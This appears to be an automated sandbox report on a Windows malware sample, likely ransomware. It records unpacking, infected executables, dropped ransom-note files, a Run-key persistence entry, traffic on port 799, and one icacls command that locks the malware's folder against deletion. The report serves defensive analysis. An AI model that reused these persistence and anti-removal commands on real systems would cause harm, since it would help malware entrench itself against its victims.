Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll

Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Automated click: OK
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Automated click: OK
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Automated click: OK
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Automated click: OK
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Automated click: OK
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Automated click: OK
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Automated click: OK
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000007.00000002.1543769682.0000000002210000.00000040.00001000.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000002.2648498274.0000000000400000.00000040.00000400.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000D.00000002.2639768235.0000000000400000.00000040.00000400.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000F.00000002.1619016276.0000000002290000.00000040.00001000.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000010.00000002.1631819718.0000000000400000.00000040.00000400.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000011.00000002.1699561584.0000000002200000.00000040.00001000.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000013.00000002.1710942634.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: C:\nipuse.pdb source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.4.dr
Source:	Binary string: )=C:\nipuse.pdb source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.4.dr
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000000.00000002.1442806045.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000006.00000002.1512737125.0000000002390000.00000040.00001000.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000007.00000002.1543769682.0000000002210000.00000040.00001000.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000002.2648498274.0000000000400000.00000040.00000400.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000D.00000002.2639768235.0000000000400000.00000040.00000400.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000F.00000002.1619016276.0000000002290000.00000040.00001000.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000010.00000002.1631819718.0000000000400000.00000040.00000400.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000011.00000002.1699561584.0000000002200000.00000040.00001000.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000013.00000002.1710942634.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: d:\dbs\sh\odct\1105_210049_0\client\onedrive\Setup\Standalone\exe\obj\i386\OneDriveSetup.pdb source: wctFF6F.tmp.11.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Unpacked PE file: 1.2.lgYdZ.exe.2e0000.0.unpack .text:EW;.rdata:W;.data:W;.reloc:W;.aspack:EW;.adata:EW; vs .text:ER;.rdata:R;.data:W;.reloc:R;.aspack:EW;.adata:EW;
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Unpacked PE file: 4.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;c"u:EW; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Unpacked PE file: 11.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;c"u:EW; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Unpacked PE file: 13.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;c"u:EW; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Unpacked PE file: 16.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;c"u:EW; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Unpacked PE file: 18.2.lgYdZ.exe.180000.0.unpack .text:EW;.rdata:W;.data:W;.reloc:W;.aspack:EW;.adata:EW; vs .text:ER;.rdata:R;.data:W;.reloc:R;.aspack:EW;.adata:EW;
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Unpacked PE file: 19.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R;c"u:EW; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Unpacked PE file: 4.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.unpack
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Unpacked PE file: 11.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Unpacked PE file: 13.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Unpacked PE file: 16.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Unpacked PE file: 19.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.unpack

Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe

Code function: 0_2_00403015 CreateDirectoryExA,CreateDirectoryExA,GetMailslotInfo,SetFilePointer,_calloc,_feof,LoadLibraryA,GetProcAddress,LocalAlloc,GetBinaryTypeW,GetProcessWorkingSetSize,WriteConsoleW,GetLastError,CreateDirectoryExA,lstrlenA,

0_2_00403015

Source: initial sample

Static PE information: section where entry point is pointing to: c"u

Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Static PE information: section name: c"u
Source: lgYdZ.exe.0.dr	Static PE information: section name: .aspack
Source: lgYdZ.exe.0.dr	Static PE information: section name: .adata
Source: MyProg.exe.1.dr	Static PE information: section name: PELIB
Source: MyProg.exe.1.dr	Static PE information: section name: Y\|uR
Source: SciTE.exe.1.dr	Static PE information: section name: u
Source: Uninstall.exe.1.dr	Static PE information: section name: EpNuZ
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.4.dr	Static PE information: section name: c"u

Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 0_2_00502E7B push ebp; ret	0_2_00502E7E
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 0_2_00502E85 push 00000000h; ret	0_2_00503296
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 0_2_00404B85 push ecx; ret	0_2_00404B98
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 0_2_022070AF push ecx; retf	0_2_022070B2
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 0_2_022C8F05 push ecx; ret	0_2_022C8F18
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Code function: 1_2_002E1638 push dword ptr [002E3084h]; ret	1_2_002E170E
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Code function: 1_2_002E600A push ebp; ret	1_2_002E600D
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Code function: 1_2_002E2D9B push ecx; ret	1_2_002E2DAB
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Code function: 1_2_002E6014 push 002E14E1h; ret	1_2_002E6425
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_00428565 push ecx; ret	4_2_00428578
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 6_2_023000AF push ecx; retf	6_2_023000B2
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 6_2_023B8F05 push ecx; ret	6_2_023B8F18
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 7_2_021720AF push ecx; retf	7_2_021720B2
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 7_2_02238F05 push ecx; ret	7_2_02238F18

Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Static PE information: section name: .text entropy: 7.439727296306461
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Static PE information: section name: c"u entropy: 6.934257276636902
Source: lgYdZ.exe.0.dr	Static PE information: section name: .text entropy: 7.81169422100848
Source: MyProg.exe.1.dr	Static PE information: section name: Y\|uR entropy: 6.93463412799186
Source: SciTE.exe.1.dr	Static PE information: section name: u entropy: 6.934674860769832
Source: Uninstall.exe.1.dr	Static PE information: section name: EpNuZ entropy: 6.9345964198507035
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.4.dr	Static PE information: section name: .text entropy: 7.439727296306461
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.4.dr	Static PE information: section name: c"u entropy: 6.934257276636902

Persistence and Installation Behavior

Infects executable files (exe, dll, sys, html)

Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	System file written: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	System file written: C:\Program Files\7-Zip\Uninstall.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	System file written: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	System file written: C:\Users\user\AppData\Local\Temp\chrome.exe	Jump to behavior

Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\user\AppData\Local\Temp\tmpDC32.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\user\Local Settings\Temp\tmpDC32.tmp.wdlo (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	File created: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	File created: C:\Program Files\7-Zip\Uninstall.exe	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\jones\AppData\Local\Temp\wctF86A.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\user\Local Settings\Temp\wctFF6F.tmp.wdlo (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\jones\Local Settings\Temp\wct3D66.tmp.wdlo (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\user\Local Settings\Temp\chrome.exe.wdlo (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\user\AppData\Local\Temp\wctFF6F.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	File created: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\jones\AppData\Local\Temp\wct3D66.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\user\AppData\Local\Temp\chrome.exe	Jump to dropped file

Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\$WinREAgent\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\$WinREAgent\Scratch\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\user\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\jones\_readme.txt	Jump to behavior

Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysHelper			Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysHelper			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 799
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 799
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 799
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 799
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 799
Source: unknown	Network traffic detected: HTTP traffic on port 53479 -> 799
Source: unknown	Network traffic detected: HTTP traffic on port 53483 -> 799
Source: unknown	Network traffic detected: HTTP traffic on port 53485 -> 799

Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe

Code function: 4_2_00481920 GetVersionExA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,CloseHandle,FreeLibrary,GlobalMemoryStatus,GetCurrentProcessId,

4_2_00481920

Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe

Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9" /deny *S-1-1-0:(OI)(CI)(DE,DC)

Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe

Code function: 0_2_0220571C rdtsc

0_2_0220571C

Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe

